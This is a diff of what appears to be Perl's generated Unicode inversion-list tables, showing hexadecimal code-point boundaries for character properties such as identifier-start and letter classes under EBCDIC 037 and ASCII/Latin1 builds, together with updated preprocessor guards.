 	0x531,
@@ -68801,58 +272314,66 @@
 	0x55A,
 	0x561,
 	0x588,
-	0x591,
-	0x5BE,
-	0x5BF,
-	0x5C0,
-	0x5C1,
-	0x5C3,
-	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5C8,
 	0x5D0,
 	0x5EB,
 	0x5F0,
 	0x5F3,
-	0x610,
-	0x61B,
 	0x620,
-	0x66A,
+	0x64B,
 	0x66E,
+	0x670,
+	0x671,
 	0x6D4,
 	0x6D5,
-	0x6DD,
-	0x6DF,
-	0x6E9,
-	0x6EA,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
 	0x6FD,
 	0x6FF,
 	0x700,
 	0x710,
-	0x74B,
+	0x711,
+	0x712,
+	0x730,
 	0x74D,
+	0x7A6,
+	0x7B1,
 	0x7B2,
-	0x7C0,
+	0x7CA,
+	0x7EB,
+	0x7F4,
 	0x7F6,
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x82E,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
 	0x840,
-	0x85C,
+	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
-	0x8D4,
-	0x8E2,
-	0x8E3,
-	0x964,
-	0x966,
-	0x970,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
 	0x971,
-	0x984,
+	0x981,
 	0x985,
 	0x98D,
 	0x98F,
@@ -68865,22 +272386,18 @@
 	0x9B3,
 	0x9B6,
 	0x9BA,
-	0x9BC,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
+	0x9BD,
+	0x9BE,
+	0x9CE,
 	0x9CF,
-	0x9D7,
-	0x9D8,
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E4,
-	0x9E6,
+	0x9E2,
+	0x9F0,
 	0x9F2,
-	0xA01,
-	0xA04,
+	0x9FC,
+	0x9FD,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -68895,24 +272412,12 @@
 	0xA37,
 	0xA38,
 	0xA3A,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
 	0xA59,
 	0xA5D,
 	0xA5E,
 	0xA5F,
-	0xA66,
-	0xA76,
-	0xA81,
-	0xA84,
+	0xA72,
+	0xA75,
 	0xA85,
 	0xA8E,
 	0xA8F,
@@ -68925,22 +272430,14 @@
 	0xAB4,
 	0xAB5,
 	0xABA,
-	0xABC,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACE,
+	0xABD,
+	0xABE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE4,
-	0xAE6,
-	0xAF0,
+	0xAE2,
 	0xAF9,
 	0xAFA,
-	0xB01,
-	0xB04,
 	0xB05,
 	0xB0D,
 	0xB0F,
@@ -68953,23 +272450,15 @@
 	0xB34,
 	0xB35,
 	0xB3A,
-	0xB3C,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4E,
-	0xB56,
-	0xB58,
+	0xB3D,
+	0xB3E,
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB64,
-	0xB66,
-	0xB70,
+	0xB62,
 	0xB71,
 	0xB72,
-	0xB82,
+	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -68989,20 +272478,8 @@
 	0xBAB,
 	0xBAE,
 	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCE,
 	0xBD0,
 	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xBE6,
-	0xBF0,
-	0xC00,
-	0xC04,
 	0xC05,
 	0xC0D,
 	0xC0E,
@@ -69012,21 +272489,13 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
+	0xC3E,
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC64,
-	0xC66,
-	0xC70,
+	0xC62,
 	0xC80,
-	0xC84,
+	0xC81,
 	0xC85,
 	0xC8D,
 	0xC8E,
@@ -69037,24 +272506,14 @@
 	0xCB4,
 	0xCB5,
 	0xCBA,
-	0xCBC,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCE,
-	0xCD5,
-	0xCD7,
+	0xCBD,
+	0xCBE,
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE4,
-	0xCE6,
-	0xCF0,
+	0xCE2,
 	0xCF1,
 	0xCF3,
-	0xD01,
-	0xD04,
 	0xD05,
 	0xD0D,
 	0xD0E,
@@ -69062,21 +272521,15 @@
 	0xD12,
 	0xD3B,
 	0xD3D,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
+	0xD3E,
+	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD58,
+	0xD57,
 	0xD5F,
-	0xD64,
-	0xD66,
-	0xD70,
+	0xD62,
 	0xD7A,
 	0xD80,
-	0xD82,
-	0xD84,
 	0xD85,
 	0xD97,
 	0xD9A,
@@ -69087,24 +272540,12 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDE6,
-	0xDF0,
-	0xDF2,
-	0xDF4,
 	0xE01,
-	0xE3B,
+	0xE31,
+	0xE32,
+	0xE34,
 	0xE40,
-	0xE4F,
-	0xE50,
-	0xE5A,
+	0xE47,
 	0xE81,
 	0xE83,
 	0xE84,
@@ -69128,47 +272569,43 @@
 	0xEAA,
 	0xEAC,
 	0xEAD,
-	0xEBA,
-	0xEBB,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
 	0xEBE,
 	0xEC0,
 	0xEC5,
 	0xEC6,
 	0xEC7,
-	0xEC8,
-	0xECE,
-	0xED0,
-	0xEDA,
 	0xEDC,
 	0xEE0,
 	0xF00,
 	0xF01,
-	0xF18,
-	0xF1A,
-	0xF20,
-	0xF2A,
-	0xF35,
-	0xF36,
-	0xF37,
-	0xF38,
-	0xF39,
-	0xF3A,
-	0xF3E,
+	0xF40,
 	0xF48,
 	0xF49,
 	0xF6D,
-	0xF71,
-	0xF85,
-	0xF86,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFC6,
-	0xFC7,
+	0xF88,
+	0xF8D,
 	0x1000,
-	0x104A,
+	0x102B,
+	0x103F,
+	0x1040,
 	0x1050,
-	0x109E,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -69209,8 +272646,6 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135D,
-	0x1360,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -69225,47 +272660,39 @@
 	0x169B,
 	0x16A0,
 	0x16EB,
-	0x16EE,
+	0x16F1,
 	0x16F9,
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1715,
+	0x1712,
 	0x1720,
-	0x1735,
+	0x1732,
 	0x1740,
-	0x1754,
+	0x1752,
 	0x1760,
 	0x176D,
 	0x176E,
 	0x1771,
-	0x1772,
-	0x1774,
 	0x1780,
-	0x17D4,
+	0x17B4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
-	0x17DE,
-	0x17E0,
-	0x17EA,
-	0x180B,
-	0x180E,
-	0x1810,
-	0x181A,
+	0x17DD,
 	0x1820,
 	0x1878,
 	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
 	0x1900,
 	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
-	0x193C,
-	0x1946,
+	0x1950,
 	0x196E,
 	0x1970,
 	0x1975,
@@ -69273,47 +272700,39 @@
 	0x19AC,
 	0x19B0,
 	0x19CA,
-	0x19D0,
-	0x19DA,
 	0x1A00,
-	0x1A1C,
+	0x1A17,
 	0x1A20,
-	0x1A5F,
-	0x1A60,
-	0x1A7D,
-	0x1A7F,
-	0x1A8A,
-	0x1A90,
-	0x1A9A,
+	0x1A55,
 	0x1AA7,
 	0x1AA8,
-	0x1AB0,
-	0x1ABE,
-	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
 	0x1B4C,
-	0x1B50,
-	0x1B5A,
-	0x1B6B,
-	0x1B74,
-	0x1B80,
-	0x1BF4,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
 	0x1C00,
-	0x1C38,
-	0x1C40,
-	0x1C4A,
+	0x1C24,
 	0x1C4D,
+	0x1C50,
+	0x1C5A,
 	0x1C7E,
 	0x1C80,
 	0x1C89,
-	0x1CD0,
-	0x1CD3,
-	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
 	0x1CF7,
-	0x1CF8,
-	0x1CFA,
 	0x1D00,
-	0x1DF6,
-	0x1DFB,
+	0x1DC0,
+	0x1E00,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -69351,10 +272770,6 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
-	0x203F,
-	0x2041,
-	0x2054,
-	0x2055,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -69361,12 +272776,6 @@
 	0x2080,
 	0x2090,
 	0x209D,
-	0x20D0,
-	0x20DD,
-	0x20E1,
-	0x20E2,
-	0x20E5,
-	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
@@ -69393,8 +272802,8 @@
 	0x214A,
 	0x214E,
 	0x214F,
-	0x2160,
-	0x2189,
+	0x2183,
+	0x2185,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -69402,6 +272811,8 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
+	0x2CEF,
+	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -69413,7 +272824,7 @@
 	0x2D68,
 	0x2D6F,
 	0x2D70,
-	0x2D7F,
+	0x2D80,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -69431,20 +272842,16 @@
 	0x2DD7,
 	0x2DD8,
 	0x2DDF,
-	0x2DE0,
-	0x2E00,
+	0x2E2F,
+	0x2E30,
 	0x3005,
-	0x3008,
-	0x3021,
-	0x3030,
+	0x3007,
 	0x3031,
 	0x3036,
-	0x3038,
+	0x303B,
 	0x303D,
 	0x3041,
 	0x3097,
-	0x3099,
-	0x309B,
 	0x309D,
 	0x30A0,
 	0x30A1,
@@ -69452,7 +272859,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -69462,7 +272869,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -69470,13 +272877,15 @@
 	0xA500,
 	0xA60D,
 	0xA610,
+	0xA620,
+	0xA62A,
 	0xA62C,
 	0xA640,
-	0xA670,
-	0xA674,
-	0xA67E,
+	0xA66F,
 	0xA67F,
-	0xA6F2,
+	0xA69E,
+	0xA6A0,
+	0xA6E6,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -69486,47 +272895,67 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA828,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
 	0xA840,
 	0xA874,
-	0xA880,
-	0xA8C6,
-	0xA8D0,
-	0xA8DA,
-	0xA8E0,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
 	0xA8FD,
 	0xA8FE,
-	0xA900,
-	0xA92E,
+	0xA90A,
+	0xA926,
 	0xA930,
-	0xA954,
+	0xA947,
 	0xA960,
 	0xA97D,
-	0xA980,
-	0xA9C1,
+	0xA984,
+	0xA9B3,
 	0xA9CF,
-	0xA9DA,
+	0xA9D0,
 	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
 	0xA9FF,
 	0xAA00,
-	0xAA37,
+	0xAA29,
 	0xAA40,
-	0xAA4E,
-	0xAA50,
-	0xAA5A,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
 	0xAA60,
 	0xAA77,
 	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAF0,
+	0xAAEB,
 	0xAAF2,
-	0xAAF7,
+	0xAAF5,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -69542,11 +272971,7 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABEB,
-	0xABEC,
-	0xABEE,
-	0xABF0,
-	0xABFA,
+	0xABE3,
 	0xAC00,
 	0xD7A4,
 	0xD7B0,
@@ -69562,6 +272987,8 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB1E,
+	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -69576,8 +273003,6 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
-	0xFC5E,
-	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -69584,35 +273009,13 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFA,
-	0xFE00,
-	0xFE10,
-	0xFE20,
-	0xFE30,
-	0xFE33,
-	0xFE35,
-	0xFE4D,
-	0xFE50,
-	0xFE71,
-	0xFE72,
-	0xFE73,
-	0xFE74,
-	0xFE77,
-	0xFE78,
-	0xFE79,
-	0xFE7A,
-	0xFE7B,
-	0xFE7C,
-	0xFE7D,
-	0xFE7E,
-	0xFE7F,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
 	0xFEFD,
-	0xFF10,
-	0xFF1A,
 	0xFF21,
 	0xFF3B,
-	0xFF3F,
-	0xFF40,
 	0xFF41,
 	0xFF5B,
 	0xFF66,
@@ -69639,22 +273042,18 @@
 	0x1005E,
 	0x10080,
 	0x100FB,
-	0x10140,
-	0x10175,
-	0x101FD,
-	0x101FE,
 	0x10280,
 	0x1029D,
 	0x102A0,
 	0x102D1,
-	0x102E0,
-	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
-	0x1034B,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
 	0x10350,
-	0x1037B,
+	0x10376,
 	0x10380,
 	0x1039E,
 	0x103A0,
@@ -69661,12 +273060,8 @@
 	0x103C4,
 	0x103C8,
 	0x103D0,
-	0x103D1,
-	0x103D6,
 	0x10400,
 	0x1049E,
-	0x104A0,
-	0x104AA,
 	0x104B0,
 	0x104D4,
 	0x104D8,
@@ -69710,19 +273105,13 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
+	0x10A01,
+	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
 	0x10A19,
 	0x10A34,
-	0x10A38,
-	0x10A3B,
-	0x10A3F,
-	0x10A40,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -69730,7 +273119,7 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE7,
+	0x10AE5,
 	0x10B00,
 	0x10B36,
 	0x10B40,
@@ -69745,29 +273134,23 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x11000,
-	0x11047,
-	0x11066,
-	0x11070,
-	0x1107F,
-	0x110BB,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
 	0x110D0,
 	0x110E9,
-	0x110F0,
-	0x110FA,
-	0x11100,
-	0x11135,
-	0x11136,
-	0x11140,
+	0x11103,
+	0x11127,
 	0x11150,
-	0x11174,
+	0x11173,
 	0x11176,
 	0x11177,
-	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
 	0x111C5,
-	0x111CA,
-	0x111CD,
-	0x111D0,
+	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
@@ -69774,9 +273157,7 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x11238,
-	0x1123E,
-	0x1123F,
+	0x1122C,
 	0x11280,
 	0x11287,
 	0x11288,
@@ -69788,11 +273169,7 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112EB,
-	0x112F0,
-	0x112FA,
-	0x11300,
-	0x11304,
+	0x112DF,
 	0x11305,
 	0x1130D,
 	0x1130F,
@@ -69805,78 +273182,70 @@
 	0x11334,
 	0x11335,
 	0x1133A,
-	0x1133C,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134E,
+	0x1133D,
+	0x1133E,
 	0x11350,
 	0x11351,
-	0x11357,
-	0x11358,
 	0x1135D,
-	0x11364,
-	0x11366,
-	0x1136D,
-	0x11370,
-	0x11375,
+	0x11362,
 	0x11400,
+	0x11435,
+	0x11447,
 	0x1144B,
-	0x11450,
-	0x1145A,
 	0x11480,
+	0x114B0,
+	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
-	0x114D0,
-	0x114DA,
 	0x11580,
-	0x115B6,
-	0x115B8,
-	0x115C1,
+	0x115AF,
 	0x115D8,
-	0x115DE,
+	0x115DC,
 	0x11600,
-	0x11641,
+	0x11630,
 	0x11644,
 	0x11645,
-	0x11650,
-	0x1165A,
 	0x11680,
-	0x116B8,
-	0x116C0,
-	0x116CA,
+	0x116AB,
 	0x11700,
 	0x1171A,
-	0x1171D,
-	0x1172C,
-	0x11730,
-	0x1173A,
 	0x118A0,
-	0x118EA,
+	0x118E0,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C37,
-	0x11C38,
+	0x11C2F,
+	0x11C40,
 	0x11C41,
-	0x11C50,
-	0x11C5A,
 	0x11C72,
 	0x11C90,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
 	0x12000,
 	0x1239A,
-	0x12400,
-	0x1246F,
 	0x12480,
 	0x12544,
 	0x13000,
@@ -69887,18 +273256,12 @@
 	0x16A39,
 	0x16A40,
 	0x16A5F,
-	0x16A60,
-	0x16A6A,
 	0x16AD0,
 	0x16AEE,
-	0x16AF0,
-	0x16AF5,
 	0x16B00,
-	0x16B37,
+	0x16B30,
 	0x16B40,
 	0x16B44,
-	0x16B50,
-	0x16B5A,
 	0x16B63,
 	0x16B78,
 	0x16B7D,
@@ -69906,17 +273269,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F7F,
-	0x16F8F,
+	0x16F51,
+	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -69925,20 +273290,6 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9D,
-	0x1BC9F,
-	0x1D165,
-	0x1D16A,
-	0x1D16D,
-	0x1D173,
-	0x1D17B,
-	0x1D183,
-	0x1D185,
-	0x1D18C,
-	0x1D1AA,
-	0x1D1AE,
-	0x1D242,
-	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -69999,38 +273350,10 @@
 	0x1D7C3,
 	0x1D7C4,
 	0x1D7CC,
-	0x1D7CE,
-	0x1D800,
-	0x1DA00,
-	0x1DA37,
-	0x1DA3B,
-	0x1DA6D,
-	0x1DA75,
-	0x1DA76,
-	0x1DA84,
-	0x1DA85,
-	0x1DA9B,
-	0x1DAA0,
-	0x1DAA1,
-	0x1DAB0,
-	0x1E000,
-	0x1E007,
-	0x1E008,
-	0x1E019,
-	0x1E01B,
-	0x1E022,
-	0x1E023,
-	0x1E025,
-	0x1E026,
-	0x1E02B,
 	0x1E800,
 	0x1E8C5,
-	0x1E8D0,
-	0x1E8D7,
 	0x1E900,
-	0x1E94B,
-	0x1E950,
-	0x1E95A,
+	0x1E944,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -70105,14 +273428,21 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
-	0x2FA1E,
-	0xE0100,
-	0xE01F0
+	0x2FA1E
 };
 
-static const UV _Perl_IDStart_invlist[] = { /* for EBCDIC 037 */
-	1183,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_L_invlist[] = { /* for EBCDIC 037 */
+	1193,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -70123,8 +273453,6 @@
 	0x5A,
 	0x62,
 	0x6A,
-	0x6D,
-	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -70169,7 +273497,7 @@
 	0x375,
 	0x376,
 	0x378,
-	0x37B,
+	0x37A,
 	0x37E,
 	0x37F,
 	0x380,
@@ -70237,6 +273565,8 @@
 	0x829,
 	0x840,
 	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -70273,6 +273603,8 @@
 	0x9E2,
 	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -70418,7 +273750,7 @@
 	0xE01,
 	0xE31,
 	0xE32,
-	0xE33,
+	0xE34,
 	0xE40,
 	0xE47,
 	0xE81,
@@ -70446,7 +273778,7 @@
 	0xEAD,
 	0xEB1,
 	0xEB2,
-	0xEB3,
+	0xEB4,
 	0xEBD,
 	0xEBE,
 	0xEC0,
@@ -70535,7 +273867,7 @@
 	0x169B,
 	0x16A0,
 	0x16EB,
-	0x16EE,
+	0x16F1,
 	0x16F9,
 	0x1700,
 	0x170D,
@@ -70558,6 +273890,8 @@
 	0x1820,
 	0x1878,
 	0x1880,
+	0x1885,
+	0x1887,
 	0x18A9,
 	0x18AA,
 	0x18AB,
@@ -70675,8 +274009,8 @@
 	0x214A,
 	0x214E,
 	0x214F,
-	0x2160,
-	0x2189,
+	0x2183,
+	0x2185,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -70715,13 +274049,13 @@
 	0x2DD7,
 	0x2DD8,
 	0x2DDF,
+	0x2E2F,
+	0x2E30,
 	0x3005,
-	0x3008,
-	0x3021,
-	0x302A,
+	0x3007,
 	0x3031,
 	0x3036,
-	0x3038,
+	0x303B,
 	0x303D,
 	0x3041,
 	0x3097,
@@ -70732,7 +274066,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -70742,7 +274076,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -70758,7 +274092,7 @@
 	0xA67F,
 	0xA69E,
 	0xA6A0,
-	0xA6F0,
+	0xA6E6,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -70876,8 +274210,6 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
-	0xFC5E,
-	0xFC64,
 	0xFD3E,
 	0xFD50,
 	0xFD90,
@@ -70884,20 +274216,10 @@
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFA,
-	0xFE71,
-	0xFE72,
-	0xFE73,
-	0xFE74,
-	0xFE77,
-	0xFE78,
-	0xFE79,
-	0xFE7A,
-	0xFE7B,
-	0xFE7C,
-	0xFE7D,
-	0xFE7E,
-	0xFE7F,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
 	0xFEFD,
 	0xFF21,
 	0xFF3B,
@@ -70904,8 +274226,6 @@
 	0xFF41,
 	0xFF5B,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -70929,8 +274249,6 @@
 	0x1005E,
 	0x10080,
 	0x100FB,
-	0x10140,
-	0x10175,
 	0x10280,
 	0x1029D,
 	0x102A0,
@@ -70937,8 +274255,10 @@
 	0x102D1,
 	0x10300,
 	0x10320,
-	0x10330,
-	0x1034B,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
 	0x10350,
 	0x10376,
 	0x10380,
@@ -70947,8 +274267,6 @@
 	0x103C4,
 	0x103C8,
 	0x103D0,
-	0x103D1,
-	0x103D6,
 	0x10400,
 	0x1049E,
 	0x104B0,
@@ -71103,6 +274421,18 @@
 	0x118E0,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -71113,10 +274443,16 @@
 	0x11C41,
 	0x11C72,
 	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
 	0x12000,
 	0x1239A,
-	0x12400,
-	0x1246F,
 	0x12480,
 	0x12544,
 	0x13000,
@@ -71144,13 +274480,15 @@
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -71297,50 +274635,3645 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E
 };
 
-#endif	/* defined(PERL_IN_UTF8_C) */
+#   endif	/* EBCDIC 037 */
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-static const UV _Perl_LB_invlist[] = { /* for EBCDIC 037 */
-	2279,	/* Number of elements */
+static const UV PL_L_AMP__invlist[] = { /* for ASCII/Latin1 */
+	253,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
